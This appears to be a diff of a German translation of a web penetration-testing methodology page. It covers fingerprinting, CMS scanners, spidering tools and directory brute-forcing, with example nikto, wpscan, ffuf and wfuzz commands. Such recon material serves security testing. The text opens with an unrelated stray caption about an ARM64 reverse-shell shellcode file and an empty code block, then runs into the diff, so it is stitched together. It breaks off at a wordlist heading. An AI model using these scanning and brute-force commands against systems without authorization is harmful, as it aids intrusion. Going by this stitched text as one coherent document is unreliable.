Von [https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/master/reverseshell.s](https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/master/reverseshell.s), revshell zu **127.0.0.1:4444**
|
||||
```armasm
|
||||
|
@ -1,12 +1,12 @@
|
||||
# 80,443 - Pentesting Web Methodik
|
||||
# 80,443 - Pentesting Web-Methodik
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Grundlegende Informationen
|
||||
|
||||
Der Web-Service ist der **häufigste und umfangreichste Dienst** und es gibt viele **verschiedene Arten von Schwachstellen**.
|
||||
Der Webservice ist der **häufigste und umfangreichste Service** und es gibt viele **verschiedene Arten von Schwachstellen**.
|
||||
|
||||
**Standardport:** 80 (HTTP), 443 (HTTPS)
|
||||
**Standardport:** 80 (HTTP), 443(HTTPS)
|
||||
```bash
|
||||
PORT STATE SERVICE
|
||||
80/tcp open http
|
||||
@ -17,45 +17,45 @@ PORT STATE SERVICE
|
||||
nc -v domain.com 80 # GET / HTTP/1.0
|
||||
openssl s_client -connect domain.com:443 # GET / HTTP/1.0
|
||||
```
|
||||
### Web-API-Leitfaden
|
||||
### Leitfaden für Web-APIs
|
||||
|
||||
|
||||
{{#ref}}
|
||||
web-api-pentesting.md
|
||||
{{#endref}}
|
||||
|
||||
## Methodologie-Übersicht
|
||||
## Zusammenfassung der Methodik
|
||||
|
||||
> In dieser Methodik gehen wir davon aus, dass Sie eine Domain (oder Subdomain) und nur diese angreifen. Wenden Sie diese Methodik also auf jede entdeckte Domain, Subdomain oder IP mit einem innerhalb des Scopes nicht näher bestimmten Webserver an.
|
||||
> In dieser Methodik gehen wir davon aus, dass Sie eine Domain (oder Subdomain) und nur diese angreifen werden. Wenden Sie diese Methodik auf jede entdeckte Domain, Subdomain oder IP mit unbestimmtem Webserver im Scope an.
|
||||
|
||||
- [ ] Beginnen Sie damit, die vom Webserver verwendeten **Technologien** zu **identifizieren**. Suchen Sie nach **Tricks**, die Sie während des weiteren Tests beachten sollten, falls Sie die Tech erfolgreich identifizieren können.
|
||||
- [ ] Gibt es **bekannte Schwachstellen** in der **Version** der Technologie?
|
||||
- [ ] Nutzt die Anwendung irgendeine **bekannte Technologie**? Gibt es einen **nützlichen Trick**, um mehr Informationen zu extrahieren?
|
||||
- [ ] Gibt es einen **spezialisierten Scanner** zum Ausführen (z. B. wpscan)?
|
||||
- [ ] Starten Sie **Scanner für allgemeine Zwecke**. Man weiß nie, ob sie etwas finden oder interessante Informationen liefern.
|
||||
- [ ] Beginnen Sie mit den **Initialprüfungen**: **robots**, **sitemap**, **404**-Fehler und **SSL/TLS scan** (bei HTTPS).
|
||||
- [ ] Starten Sie mit dem **spidering** der Webseite: Es ist Zeit, alle möglichen **Dateien, Ordner** und **verwendeten Parameter** zu **finden**. Prüfen Sie auch auf **besondere Funde**.
|
||||
- [ ] _Beachte, dass jedes Mal, wenn während des brute-forcing oder spidering ein neues Verzeichnis entdeckt wird, es spidered werden sollte._
|
||||
- [ ] **Directory Brute-Forcing**: Versuchen Sie, alle entdeckten Ordner mittels brute force zu durchsuchen, um neue **Dateien** und **Verzeichnisse** zu finden.
|
||||
- [ ] _Beachte, dass jedes Mal, wenn während des brute-forcing oder spidering ein neues Verzeichnis entdeckt wird, es Brute-Forced werden sollte._
|
||||
- [ ] **Backups checking**: Prüfen Sie, ob Sie **Backups** der **entdeckten Dateien** finden können, indem Sie gängige Backup-Erweiterungen anhängen.
|
||||
- [ ] **Brute-Force parameters**: Versuchen Sie, **versteckte Parameter** zu finden.
|
||||
- [ ] Sobald Sie alle möglichen **endpoints** identifiziert haben, die **user input** akzeptieren, prüfen Sie alle Arten von damit zusammenhängenden **Schwachstellen**.
|
||||
- [ ] [Follow this checklist](../../pentesting-web/web-vulnerabilities-methodology.md)
|
||||
- [ ] Beginnen Sie damit, die vom Webserver verwendeten **technologies** zu **identifying**. Achten Sie auf **tricks**, die Sie während des weiteren Tests beachten sollten, wenn Sie die Tech erfolgreich identifizieren können.
|
||||
- [ ] Gibt es eine **known vulnerability** der Version der Technologie?
|
||||
- [ ] Wird eine **well known tech** verwendet? Gibt es einen **useful trick**, um mehr Informationen zu extrahieren?
|
||||
- [ ] Gibt es einen **specialised scanner** zum Ausführen (z. B. wpscan)?
|
||||
- [ ] Setzen Sie **general purposes scanners** ein. Man weiß nie, ob sie etwas finden oder nützliche Informationen liefern.
|
||||
- [ ] Beginnen Sie mit den **initial checks**: **robots**, **sitemap**, **404** error und **SSL/TLS scan** (if HTTPS).
|
||||
- [ ] Start **spidering** der Webseite: Es ist Zeit, alle möglichen **files, folders** und **parameters being used** zu **finden**. Prüfen Sie auch auf **special findings**.
|
||||
- [ ] _Hinweis: Jedes Mal, wenn während des brute-forcing oder spidering ein neues Verzeichnis entdeckt wird, sollte es gespidert werden._
|
||||
- [ ] **Directory Brute-Forcing**: Versuchen Sie, alle entdeckten Ordner zu brute-forcen, um neue **files** und **directories** zu finden.
|
||||
- [ ] _Hinweis: Jedes Mal, wenn während des brute-forcing oder spidering ein neues Verzeichnis entdeckt wird, sollte es Brute-Forced werden._
|
||||
- [ ] **Backups checking**: Prüfen Sie, ob Sie **backups** von **entdeckten files** finden können, indem Sie gängige Backup-Erweiterungen anhängen.
|
||||
- [ ] **Brute-Force parameters**: Versuchen Sie, **hidden parameters** zu finden.
|
||||
- [ ] Sobald Sie alle möglichen **endpoints** identifiziert haben, die **user input** akzeptieren, prüfen Sie auf alle Arten von **vulnerabilities**, die damit zusammenhängen.
|
||||
- [ ] [Folgen Sie dieser Checkliste](../../pentesting-web/web-vulnerabilities-methodology.md)
|
||||
|
||||
## Server-Version (verwundbar?)
|
||||
## Server Version (Vulnerable?)
|
||||
|
||||
### Identifizieren
|
||||
### Identify
|
||||
|
||||
Prüfen Sie, ob es **bekannte Schwachstellen** für die aktuell laufende Server-**Version** gibt.\
|
||||
Die **HTTP-Header und Cookies der Antwort** können sehr nützlich sein, um die **Technologien** und/oder die verwendete **Version** zu **identifizieren**. Ein **Nmap-Scan** kann die Server-Version identifizieren, aber auch die Tools [**whatweb**](https://github.com/urbanadventurer/WhatWeb)**,** [**webtech** ](https://github.com/ShielderSec/webtech)oder [**https://builtwith.com/**](https://builtwith.com)**:**
|
||||
Prüfen Sie, ob es **known vulnerabilities** für die laufende Server-**version** gibt.\
|
||||
Die **HTTP headers and cookies of the response** können sehr nützlich sein, um die **technologies** und/oder die **version** zu **identify**. Ein **Nmap scan** kann die Server-Version identifizieren, aber auch die Tools [**whatweb**](https://github.com/urbanadventurer/WhatWeb)**,** [**webtech**](https://github.com/ShielderSec/webtech) oder [**https://builtwith.com/**](https://builtwith.com)**:**
|
||||
```bash
|
||||
whatweb -a 1 <URL> #Stealthy
|
||||
whatweb -a 3 <URL> #Aggresive
|
||||
webtech -u <URL>
|
||||
webanalyze -host https://google.com -crawl 2
|
||||
```
|
||||
Suche **nach** [**Schwachstellen der Webanwendungs-Version**](../../generic-hacking/search-exploits.md)
|
||||
Suche **nach** [**vulnerabilities of the web application** **version**](../../generic-hacking/search-exploits.md)
|
||||
|
||||
### **Prüfen, ob ein WAF vorhanden ist**
|
||||
|
||||
@ -65,7 +65,7 @@ Suche **nach** [**Schwachstellen der Webanwendungs-Version**](../../generic-hack
|
||||
|
||||
### Web-Technik-Tricks
|
||||
|
||||
Einige **Tricks**, um **Schwachstellen zu finden** in verschiedenen bekannten **Technologien**, die verwendet werden:
|
||||
Einige **Tricks** für **finding vulnerabilities** in verschiedenen bekannten **Technologien**, die verwendet werden:
|
||||
|
||||
- [**AEM - Adobe Experience Cloud**](aem-adobe-experience-cloud.md)
|
||||
- [**Apache**](apache.md)
|
||||
@ -101,27 +101,27 @@ Einige **Tricks**, um **Schwachstellen zu finden** in verschiedenen bekannten **
|
||||
- [**Wordpress**](wordpress.md)
|
||||
- [**Electron Desktop (XSS to RCE)**](electron-desktop-apps/index.html)
|
||||
|
||||
_Beachte, dass dieselbe **Domain** verschiedene **Technologien** in unterschiedlichen **Ports**, **Ordnern** und **Subdomains** verwenden kann._\
|
||||
Wenn die Webanwendung eine der oben genannten bekannten **Technologien/Plattformen** oder eine **andere** verwendet, vergiss nicht, im Internet nach neuen Tricks zu suchen (und sag mir Bescheid!).
|
||||
_Beachte, dass die **gleiche Domain** in verschiedenen **Ports**, **Ordnern** und **Subdomains** unterschiedliche **Technologien** verwenden kann._\
|
||||
Wenn die Webanwendung eine der zuvor genannten **Tech/Plattformen** oder **eine andere** verwendet, vergiss nicht, **im Internet nach neuen Tricks zu suchen** (und sag mir Bescheid!).
|
||||
|
||||
### Quellcode-Überprüfung
|
||||
### Quellcode-Review
|
||||
|
||||
Wenn der **Quellcode** der Anwendung in **github** verfügbar ist, gibt es neben einem eigenen **White box test** der Anwendung einige Informationen, die für das aktuelle **Black-Box testing** nützlich sein könnten:
|
||||
Wenn der **source code** der Anwendung in **github** verfügbar ist, gibt es neben der Durchführung eines **White-Box-Tests** der Anwendung einige Informationen, die für das aktuelle **Black-Box-Testing** nützlich sein könnten:
|
||||
|
||||
- Existiert eine **Change-log**, **Readme** oder **Version**-Datei oder irgendetwas mit **zugänglichen Versionsinformationen** über das Web?
|
||||
- Wie und wo werden die **credentials** gespeichert? Gibt es eine (zugängliche?) **file** mit credentials (Benutzernamen oder Passwörtern)?
|
||||
- Sind **passwords** im **Plaintext**, **verschlüsselt** oder welcher **hashing algorithm** wird verwendet?
|
||||
- Wird ein **master key** zum Verschlüsseln verwendet? Welcher **algorithm** wird eingesetzt?
|
||||
- Kannst du durch Ausnutzung einer Schwachstelle auf **any of these files** zugreifen?
|
||||
- Gibt es interessante Informationen im **github** (gelöste und ungelöste) **issues**? Oder in der **commit history** (vielleicht wurde ein **password introduced inside an old commit**)?
|
||||
- Gibt es eine **Change-log or Readme or Version** Datei oder irgendetwas mit **version info accessible** über das Web?
|
||||
- Wie und wo sind die **credentials** gespeichert? Gibt es eine (zugängliche?) **file** mit credentials (usernames oder passwords)?
|
||||
- Sind **passwords** im **plain text**, **encrypted**, oder welcher **hashing algorithm** wird verwendet?
|
||||
- Verwendet die Anwendung einen **master key** zum Verschlüsseln? Welcher **Algorithmus** wird eingesetzt?
|
||||
- Kannst du durch Ausnutzung einer vulnerability auf **any of these files** zugreifen?
|
||||
- Gibt es interessante Informationen im **github** (solved and not solved) in den **issues**? Oder im **commit history** (vielleicht wurde dort ein **password introduced inside an old commit**)?
|
||||
|
||||
{{#ref}}
|
||||
code-review-tools.md
|
||||
{{#endref}}
|
||||
|
||||
### Automatische Scanner
|
||||
### Automatic scanners
|
||||
|
||||
#### Allgemeine automatische Scanner
|
||||
#### General purpose automatic scanners
|
||||
```bash
|
||||
nikto -h <URL>
|
||||
whatweb -a 4 <URL>
|
||||
@ -135,12 +135,12 @@ node puff.js -w ./wordlist-examples/xss.txt -u "http://www.xssgame.com/f/m4KKGHi
|
||||
```
|
||||
#### CMS-Scanner
|
||||
|
||||
Wenn ein CMS verwendet wird, nicht vergessen, **einen Scanner laufen zu lassen**, vielleicht findet sich etwas Verwundbares:
|
||||
Wenn ein CMS verwendet wird, vergiss nicht, **einen Scanner auszuführen**, vielleicht wird etwas Interessantes gefunden:
|
||||
|
||||
[**Clusterd**](https://github.com/hatRiot/clusterd)**:** [**JBoss**](jboss.md)**, ColdFusion, WebLogic,** [**Tomcat**](tomcat/index.html)**, Railo, Axis2, Glassfish**\
|
||||
[**CMSScan**](https://github.com/ajinabraham/CMSScan): [**WordPress**](wordpress.md), [**Drupal**](drupal/index.html), **Joomla**, **vBulletin** Websites auf Sicherheitslücken prüfen. (GUI)\
|
||||
[**CMSScan**](https://github.com/ajinabraham/CMSScan): [**WordPress**](wordpress.md), [**Drupal**](drupal/index.html), **Joomla**, **vBulletin** Websites auf Sicherheitsprobleme. (GUI)\
|
||||
[**VulnX**](https://github.com/anouarbensaad/vulnx)**:** [**Joomla**](joomla.md)**,** [**Wordpress**](wordpress.md)**,** [**Drupal**](drupal/index.html)**, PrestaShop, Opencart**\
|
||||
**CMSMap**: [**(W)ordpress**](wordpress.md)**,** [**(J)oomla**](joomla.md)**,** [**(D)rupal**](drupal/index.html) **or** [**(M)oodle**](moodle.md)\
|
||||
**CMSMap**: [**(W)ordpress**](wordpress.md)**,** [**(J)oomla**](joomla.md)**,** [**(D)rupal**](drupal/index.html) **oder** [**(M)oodle**](moodle.md)\
|
||||
[**droopscan**](https://github.com/droope/droopescan)**:** [**Drupal**](drupal/index.html)**,** [**Joomla**](joomla.md)**,** [**Moodle**](moodle.md)**, Silverstripe,** [**Wordpress**](wordpress.md)
|
||||
```bash
|
||||
cmsmap [-f W] -F -d <URL>
|
||||
@ -148,13 +148,13 @@ wpscan --force update -e --url <URL>
|
||||
joomscan --ec -u <URL>
|
||||
joomlavs.rb #https://github.com/rastating/joomlavs
|
||||
```
|
||||
> An diesem Punkt solltest du bereits einige Informationen über den vom Client verwendeten Webserver haben (falls Daten vorliegen) und einige Tricks, die du während des Tests beachten solltest. Wenn du Glück hast, hast du sogar ein CMS gefunden und einen Scanner laufen lassen.
|
||||
> An diesem Punkt solltest du bereits einige Informationen über den vom Client verwendeten Webserver haben (sofern Daten vorliegen) und einige Tricks, die du während des Tests beachten solltest. Wenn du Glück hast, hast du sogar ein CMS gefunden und einen Scanner ausgeführt.
|
||||
|
||||
## Schritt-für-Schritt Webanwendungs-Erkennung
|
||||
## Schritt-für-Schritt Web Application Discovery
|
||||
|
||||
> Ab hier werden wir anfangen, mit der Webanwendung zu interagieren.
|
||||
> Ab diesem Punkt werden wir anfangen, mit der Webanwendung zu interagieren.
|
||||
|
||||
### Erste Prüfungen
|
||||
### Erste Checks
|
||||
|
||||
**Standardseiten mit interessanten Informationen:**
|
||||
|
||||
@ -163,30 +163,30 @@ joomlavs.rb #https://github.com/rastating/joomlavs
|
||||
- /crossdomain.xml
|
||||
- /clientaccesspolicy.xml
|
||||
- /.well-known/
|
||||
- Prüfe auch Kommentare auf Haupt- und Unterseiten.
|
||||
- Überprüfe auch Kommentare auf den Haupt- und Sekundärseiten.
|
||||
|
||||
**Fehler erzwingen**
|
||||
**Fehler provozieren**
|
||||
|
||||
Webserver können sich **unerwartet verhalten**, wenn seltsame Daten an sie gesendet werden. Das kann **Schwachstellen öffnen** oder **sensible Informationen preisgeben**.
|
||||
Webserver können sich **unerwartet verhalten**, wenn ihnen ungewöhnliche Daten geschickt werden. Das kann **vulnerabilities** öffnen oder zur **Offenlegung sensibler Informationen** führen.
|
||||
|
||||
- Greife auf **gefälschte Seiten** wie /whatever_fake.php (.aspx,.html,.etc) zu
|
||||
- **Füge "\[]", "]]", und "\[\["** in **Cookiewerte** und **Parameterwerte** ein, um Fehler zu erzeugen
|
||||
- Erzeuge einen Fehler, indem du als Input **`/~randomthing/%s`** am **Ende** der **URL** angibst
|
||||
- Probiere **verschiedene HTTP-Verben** wie PATCH, DEBUG oder falsche wie FAKE
|
||||
- Greife auf **fake pages** wie /whatever_fake.php (.aspx,.html,.etc) zu
|
||||
- **Add "\[]", "]]", and "\[\["** in **cookie values** und **parameter** values, um Fehler zu erzeugen
|
||||
- Erzeuge Fehler, indem du als Eingabe **`/~randomthing/%s`** am **Ende** der **URL** verwendest
|
||||
- Probiere **verschiedene HTTP Verbs** wie PATCH, DEBUG oder falsche wie FAKE
|
||||
|
||||
#### **Prüfe, ob du Dateien hochladen kannst (**[**PUT verb, WebDav**](put-method-webdav.md)**)**
|
||||
|
||||
Wenn du feststellst, dass **WebDav** **aktiviert** ist, du aber nicht genügend Berechtigungen hast, um **Dateien hochzuladen** im Root-Ordner, versuche:
|
||||
Wenn du feststellst, dass **WebDav** aktiviert ist, du aber nicht genügend Berechtigungen zum **Hochladen von Dateien** im Root-Ordner hast, versuche:
|
||||
|
||||
- **Brute Force** Zugangsdaten
|
||||
- **Lade Dateien hoch** via WebDav in die **restlichen** der **gefundenen Ordner** innerhalb der Webseite. Möglicherweise hast du Berechtigungen, Dateien in anderen Ordnern hochzuladen.
|
||||
- **Upload files** via WebDav in die **rest** der gefundenen Ordner innerhalb der Webseite. Möglicherweise hast du Berechtigungen, Dateien in anderen Ordnern hochzuladen.
|
||||
|
||||
### **SSL/TLS-Schwachstellen**
|
||||
### **SSL/TLS vulnerabilites**
|
||||
|
||||
- Wenn die Anwendung **die Nutzung von HTTPS nicht erzwingt** in irgendeinem Bereich, dann ist sie **anfällig für MitM**
|
||||
- Wenn die Anwendung **sensible Daten (Passwörter) über HTTP sendet**. Dann ist das eine schwerwiegende Schwachstelle.
|
||||
- Wenn die Anwendung die Nutzung von **HTTPS** in keinem Bereich erzwingt, ist sie anfällig für **MitM**
|
||||
- Wenn die Anwendung **sensible Daten (Passwörter) über HTTP** sendet, dann ist das eine hohe **vulnerability**.
|
||||
|
||||
Verwende [**testssl.sh**](https://github.com/drwetter/testssl.sh), um auf **Schwachstellen** zu prüfen (in Bug Bounty-Programmen werden solche Schwachstellen wahrscheinlich nicht akzeptiert) und verwende [**a2sv**](https://github.com/hahwul/a2sv), um die Schwachstellen erneut zu überprüfen:
|
||||
Verwende [**testssl.sh**](https://github.com/drwetter/testssl.sh) um auf **vulnerabilities** zu prüfen (In Bug Bounty programs werden diese Arten von Schwachstellen wahrscheinlich nicht akzeptiert) und verwende [**a2sv** ](https://github.com/hahwul/a2sv) um die vulnerabilities nachzuprüfen:
|
||||
```bash
|
||||
./testssl.sh [--htmlfile] 10.10.10.10:443
|
||||
#Use the --htmlfile to save the output inside an htmlfile also
|
||||
@ -202,53 +202,53 @@ Information about SSL/TLS vulnerabilities:
|
||||
|
||||
### Spidering
|
||||
|
||||
Starten Sie irgendeine Art von **spider** im Web. Das Ziel des spider ist es, **so viele Pfade wie möglich** der getesteten Applikation zu finden. Daher sollten Web-Crawling und externe Quellen genutzt werden, um so viele gültige Pfade wie möglich zu ermitteln.
|
||||
Starte irgendeine Art von **spider** im Web. Das Ziel des spider ist es, **so viele Pfade wie möglich** der getesteten Anwendung zu **finden**. Daher sollten Web-Crawling-Tools und externe Quellen verwendet werden, um so viele valide Pfade wie möglich zu entdecken.
|
||||
|
||||
- [**gospider**](https://github.com/jaeles-project/gospider) (go): HTML spider, LinkFinder in JS files und externe Quellen (Archive.org, CommonCrawl.org, VirusTotal.com, AlienVault.com).
|
||||
- [**hakrawler**](https://github.com/hakluke/hakrawler) (go): HML spider, mit LinkFider für JS files und Archive.org als externe Quelle.
|
||||
- [**dirhunt**](https://github.com/Nekmo/dirhunt) (python): HTML spider, zeigt außerdem "juicy files" an.
|
||||
- [**evine** ](https://github.com/saeeddhqan/evine)(go): Interaktiver CLI HTML spider. Sucht ebenfalls in Archive.org.
|
||||
- [**meg**](https://github.com/tomnomnom/meg) (go): Dieses Tool ist kein spider, kann aber nützlich sein. Du kannst einfach eine Datei mit hosts und eine Datei mit paths angeben; meg holt dann jeden path auf jedem host und speichert die Response.
|
||||
- [**urlgrab**](https://github.com/IAmStoxe/urlgrab) (go): HTML spider mit JS rendering Fähigkeiten. Scheint allerdings unmaintained zu sein, die vorkompilierte Version ist alt und der aktuelle Code kompiliert nicht.
|
||||
- [**gau**](https://github.com/lc/gau) (go): HTML spider, der externe Provider verwendet (wayback, otx, commoncrawl).
|
||||
- [**ParamSpider**](https://github.com/devanshbatham/ParamSpider): Dieses Script findet URLs mit Parameter und listet sie auf.
|
||||
- [**galer**](https://github.com/dwisiswant0/galer) (go): HTML spider mit JS rendering Fähigkeiten.
|
||||
- [**LinkFinder**](https://github.com/GerbenJavado/LinkFinder) (python): HTML spider mit JS beautify Fähigkeiten, fähig, neue Pfade in JS files zu suchen. Es kann sich lohnen, auch [JSScanner](https://github.com/dark-warlord14/JSScanner) anzusehen, das ein Wrapper für LinkFinder ist.
|
||||
- [**goLinkFinder**](https://github.com/0xsha/GoLinkFinder) (go): Extrahiert Endpoints sowohl aus HTML-Quelltext als auch eingebetteten javascript files. Nützlich für bug hunters, red teamers, infosec ninjas.
|
||||
- [**JSParser**](https://github.com/nahamsec/JSParser) (python2.7): Ein python 2.7 Script, das Tornado und JSBeautifier verwendet, um relative URLs aus JavaScript files zu parsen. Nützlich, um AJAX-Requests leicht zu entdecken. Sieht unmaintained aus.
|
||||
- [**relative-url-extractor**](https://github.com/jobertabma/relative-url-extractor) (ruby): Gibt man eine Datei (HTML) an, extrahiert es URLs daraus unter Verwendung cleverer regulärer Ausdrücke, um relative URLs aus uglify/minify Dateien zu finden.
|
||||
- [**JSFScan**](https://github.com/KathanP19/JSFScan.sh) (bash, mehrere Tools): Sammelt interessante Informationen aus JS files mithilfe verschiedener Tools.
|
||||
- [**meg**](https://github.com/tomnomnom/meg) (go): Dieses Tool ist kein spider, kann aber nützlich sein. Du kannst eine Datei mit Hosts und eine Datei mit Pfaden angeben; meg holt dann jede Kombination und speichert die Antwort.
|
||||
- [**urlgrab**](https://github.com/IAmStoxe/urlgrab) (go): HTML spider mit JS-Rendering-Fähigkeiten. Sieht aber unmaintained aus; die vorkompilierte Version ist alt und der aktuelle Code kompiliert nicht.
|
||||
- [**gau**](https://github.com/lc/gau) (go): HTML spider, der externe Provider nutzt (wayback, otx, commoncrawl).
|
||||
- [**ParamSpider**](https://github.com/devanshbatham/ParamSpider): Dieses Script findet URLs mit Parametern und listet sie auf.
|
||||
- [**galer**](https://github.com/dwisiswant0/galer) (go): HTML spider mit JS-Rendering-Fähigkeiten.
|
||||
- [**LinkFinder**](https://github.com/GerbenJavado/LinkFinder) (python): HTML spider, mit JS-beautify-Fähigkeiten, der neue Pfade in JS files suchen kann. Es lohnt sich auch, einen Blick auf [JSScanner](https://github.com/dark-warlord14/JSScanner) zu werfen, ein Wrapper von LinkFinder.
|
||||
- [**goLinkFinder**](https://github.com/0xsha/GoLinkFinder) (go): Extrahiert Endpoints sowohl aus HTML-Quelltext als auch eingebetteten javascript files. Nützlich für bug hunter, red teamer, infosec ninjas.
|
||||
- [**JSParser**](https://github.com/nahamsec/JSParser) (python2.7): Ein python 2.7 Script mit Tornado und JSBeautifier, um relative URLs aus JavaScript files zu parsen. Nützlich, um AJAX-Requests zu entdecken. Scheint unmaintained.
|
||||
- [**relative-url-extractor**](https://github.com/jobertabma/relative-url-extractor) (ruby): Nimmt eine Datei (HTML) und extrahiert URLs mit cleveren RegEx, um relative URLs aus uglified/minified Dateien zu finden.
|
||||
- [**JSFScan**](https://github.com/KathanP19/JSFScan.sh) (bash, mehrere Tools): Sammelt interessante Informationen aus JS files mittels verschiedener Tools.
|
||||
- [**subjs**](https://github.com/lc/subjs) (go): Findet JS files.
|
||||
- [**page-fetch**](https://github.com/detectify/page-fetch) (go): Lädt eine Seite in einem headless browser und gibt alle URLs aus, die geladen werden, um die Seite darzustellen.
|
||||
- [**page-fetch**](https://github.com/detectify/page-fetch) (go): Lädt eine Seite in einem headless Browser und gibt alle URLs aus, die geladen wurden.
|
||||
- [**Feroxbuster**](https://github.com/epi052/feroxbuster) (rust): Content-Discovery-Tool, das mehrere Optionen der vorherigen Tools kombiniert.
|
||||
- [**Javascript Parsing**](https://github.com/xnl-h4ck3r/burp-extensions): Eine Burp extension, um Pfade und params in JS files zu finden.
|
||||
- [**Sourcemapper**](https://github.com/denandz/sourcemapper): Ein Tool, das given the .js.map URL den beautified JS-Code liefert.
|
||||
- [**xnLinkFinder**](https://github.com/xnl-h4ck3r/xnLinkFinder): Tool zum Entdecken von Endpoints für ein gegebenes Ziel.
|
||||
- [**waymore**](https://github.com/xnl-h4ck3r/waymore)**:** Discover links from the wayback machine (auch das Herunterladen der Responses in der wayback und das Suchen nach weiteren Links).
|
||||
- [**HTTPLoot**](https://github.com/redhuntlabs/HTTPLoot) (go): Crawlt (auch durch Ausfüllen von Formularen) und findet außerdem sensible Infos mittels spezifischer regexes.
|
||||
- [**SpiderSuite**](https://github.com/3nock/SpiderSuite): Spider Suite ist ein fortgeschrittener Multi-Feature GUI Web-Security Crawler/Spider für Cyber-Security-Professionals.
|
||||
- [**jsluice**](https://github.com/BishopFox/jsluice) (go): Ein Go-Package und [command-line tool](https://github.com/BishopFox/jsluice/blob/main/cmd/jsluice) zum Extrahieren von URLs, Pfaden, secrets und anderen interessanten Daten aus JavaScript-Source-Code.
|
||||
- [**ParaForge**](https://github.com/Anof-cyber/ParaForge): ParaForge ist eine einfache **Burp Suite extension**, um **Parameter und Endpoints** aus Requests zu extrahieren und custom wordlist für Fuzzing und Enumeration zu erstellen.
|
||||
- [**katana**](https://github.com/projectdiscovery/katana) (go): Großartiges Tool dafür.
|
||||
- [**Crawley**](https://github.com/s0rg/crawley) (go): Gibt jeden Link aus, den es finden kann.
|
||||
- [**Javascript Parsing**](https://github.com/xnl-h4ck3r/burp-extensions): Eine Burp-Extension, um Pfade und Params in JS files zu finden.
|
||||
- [**Sourcemapper**](https://github.com/denandz/sourcemapper): Ein Tool, das anhand der .js.map URL den beautified JS-Code beschafft.
|
||||
- [**xnLinkFinder**](https://github.com/xnl-h4ck3r/xnLinkFinder): Ein Tool zum Aufdecken von Endpoints für ein gegebenes Ziel.
|
||||
- [**waymore**](https://github.com/xnl-h4ck3r/waymore)**:** Discover links from the wayback machine (auch Herunterladen der Antworten in der wayback und weitere Link-Suche).
|
||||
- [**HTTPLoot**](https://github.com/redhuntlabs/HTTPLoot) (go): Crawlt (sogar durch Ausfüllen von Formularen) und findet außerdem sensitive Info mittels spezifischer Regexes.
|
||||
- [**SpiderSuite**](https://github.com/3nock/SpiderSuite): Spider Suite ist ein fortgeschrittener, multifunktionaler GUI Web Security Crawler/Spider für Cyber-Security-Professionals.
|
||||
- [**jsluice**](https://github.com/BishopFox/jsluice) (go): Ein Go-Package und [command-line tool](https://github.com/BishopFox/jsluice/blob/main/cmd/jsluice) zum Extrahieren von URLs, Pfaden, secrets und anderen interessanten Daten aus JavaScript-Quellcode.
|
||||
- [**ParaForge**](https://github.com/Anof-cyber/ParaForge): ParaForge ist eine einfache **Burp Suite extension**, um **die Parameter und Endpoints** aus Requests zu extrahieren und benutzerdefinierte Wortlisten für Fuzzing und Enumeration zu erstellen.
|
||||
- [**katana**](https://github.com/projectdiscovery/katana) (go): Super Tool für diesen Zweck.
|
||||
- [**Crawley**](https://github.com/s0rg/crawley) (go): Gibt jeden gefundenen Link aus.
|
||||
|
||||
### Brute Force directories and files
|
||||
|
||||
Beginne mit dem **brute-forcing** ab dem Root-Ordner und stelle sicher, dass du **alle** **gefundenen Verzeichnisse** mit **dieser Methode** und alle Verzeichnisse, die durch das **Spidering** entdeckt wurden, brute-forcest (du kannst dieses brute-forcing **rekursiv** durchführen und die Namen der gefundenen Verzeichnisse am Anfang der verwendeten wordlist einfügen).\
|
||||
Start **brute-forcing** from the root folder und stelle sicher, dass du **alle** mit **dieser Methode** gefundenen **Directories** sowie alle durch die **Spidering** entdeckten Verzeichnisse brute-forcest (du kannst das brute-forcing **rekursiv** durchführen und am Anfang der verwendeten Wortliste die Namen der gefundenen Verzeichnisse anhängen).\
|
||||
Tools:
|
||||
|
||||
- **Dirb** / **Dirbuster** - In Kali enthalten, **alt** (und **langsam**) aber funktionsfähig. Erlaubt self-signed certificates und rekursive Suche. Zu langsam im Vergleich zu den anderen Optionen.
|
||||
- [**Dirsearch**](https://github.com/maurosoria/dirsearch) (python)**: Erlaubt keine self-signed certificates, aber** rekursive Suche.
|
||||
- [**Gobuster**](https://github.com/OJ/gobuster) (go): Erlaubt self-signed certificates, es hat aber **keine** **rekursive** Suche.
|
||||
- **Dirb** / **Dirbuster** - In Kali enthalten, **alt** (und **langsam**), aber funktional. Unterstützt self-signed certificates und rekursive Suche. Im Vergleich zu den anderen Optionen zu langsam.
|
||||
- [**Dirsearch**](https://github.com/maurosoria/dirsearch) (python)**: Erlaubt keine self-signed certificates, aber** rekursive Suche ist möglich.
|
||||
- [**Gobuster**](https://github.com/OJ/gobuster) (go): Unterstützt self-signed certificates, hat aber **keine** **rekursive** Suche.
|
||||
- [**Feroxbuster**](https://github.com/epi052/feroxbuster) **- Schnell, unterstützt rekursive Suche.**
|
||||
- [**wfuzz**](https://github.com/xmendez/wfuzz) `wfuzz -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt https://domain.com/api/FUZZ`
|
||||
- [**ffuf** ](https://github.com/ffuf/ffuf)- Schnell: `ffuf -c -w /usr/share/wordlists/dirb/big.txt -u http://10.10.10.10/FUZZ`
|
||||
- [**uro**](https://github.com/s0md3v/uro) (python): Kein spider, sondern ein Tool, das aus einer Liste gefundener URLs doppelte Einträge entfernt.
|
||||
- [**Scavenger**](https://github.com/0xDexter0us/Scavenger): Burp Extension, um aus dem Burp-History verschiedener Seiten eine Liste von Verzeichnissen zu erstellen.
|
||||
- [**TrashCompactor**](https://github.com/michael1026/trashcompactor): Entfernt URLs mit doppelten Funktionalitäten (basierend auf js imports).
|
||||
- [**Chamaleon**](https://github.com/iustin24/chameleon): Verwendet Wappalyzer, um eingesetzte Technologien zu erkennen und passende Wortlisten auszuwählen.
|
||||
- [**uro**](https://github.com/s0md3v/uro) (python): Kein spider, aber ein Tool, das aus einer Liste gefundener URLs doppelte Einträge entfernt.
|
||||
- [**Scavenger**](https://github.com/0xDexter0us/Scavenger): Burp-Extension, um eine Liste von Verzeichnissen aus dem Burp-History verschiedener Seiten zu erstellen.
|
||||
- [**TrashCompactor**](https://github.com/michael1026/trashcompactor): Entfernt URLs mit doppelter Funktionalität (basierend auf js imports).
|
||||
- [**Chamaleon**](https://github.com/iustin24/chameleon): Nutzt Wappalyzer, um eingesetzte Technologien zu erkennen und passende Wortlisten auszuwählen.
|
||||
|
||||
**Recommended dictionaries:**
|
||||
**Empfohlene Wortlisten:**
|
||||
|
||||
